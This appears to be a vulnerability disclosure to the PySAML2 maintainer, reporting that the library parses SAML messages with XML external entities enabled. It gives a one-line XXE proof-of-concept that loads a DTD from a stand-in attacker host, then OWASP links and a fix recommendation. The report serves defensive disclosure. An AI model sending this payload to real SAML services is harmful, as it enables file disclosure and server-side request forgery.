Description
Roland (@rohe),
Description
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
It seams that the PySAML2 library does not contemplate the possibility of SAML "XML" requests or responses containing External Entities or File Local inclusion resulting on malicious XML requests or responses being able to trigger an XXE attack.
Proof of Concept SAMLResponse:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % payload SYSTEM "http://myevildomain.com/evil.dtd"> %payload;]>For more information refer to:
- https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
- https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
Recommendations:
It is my recommendation that you should disable all these by default and if necessary give the user the option to enable them on their settings.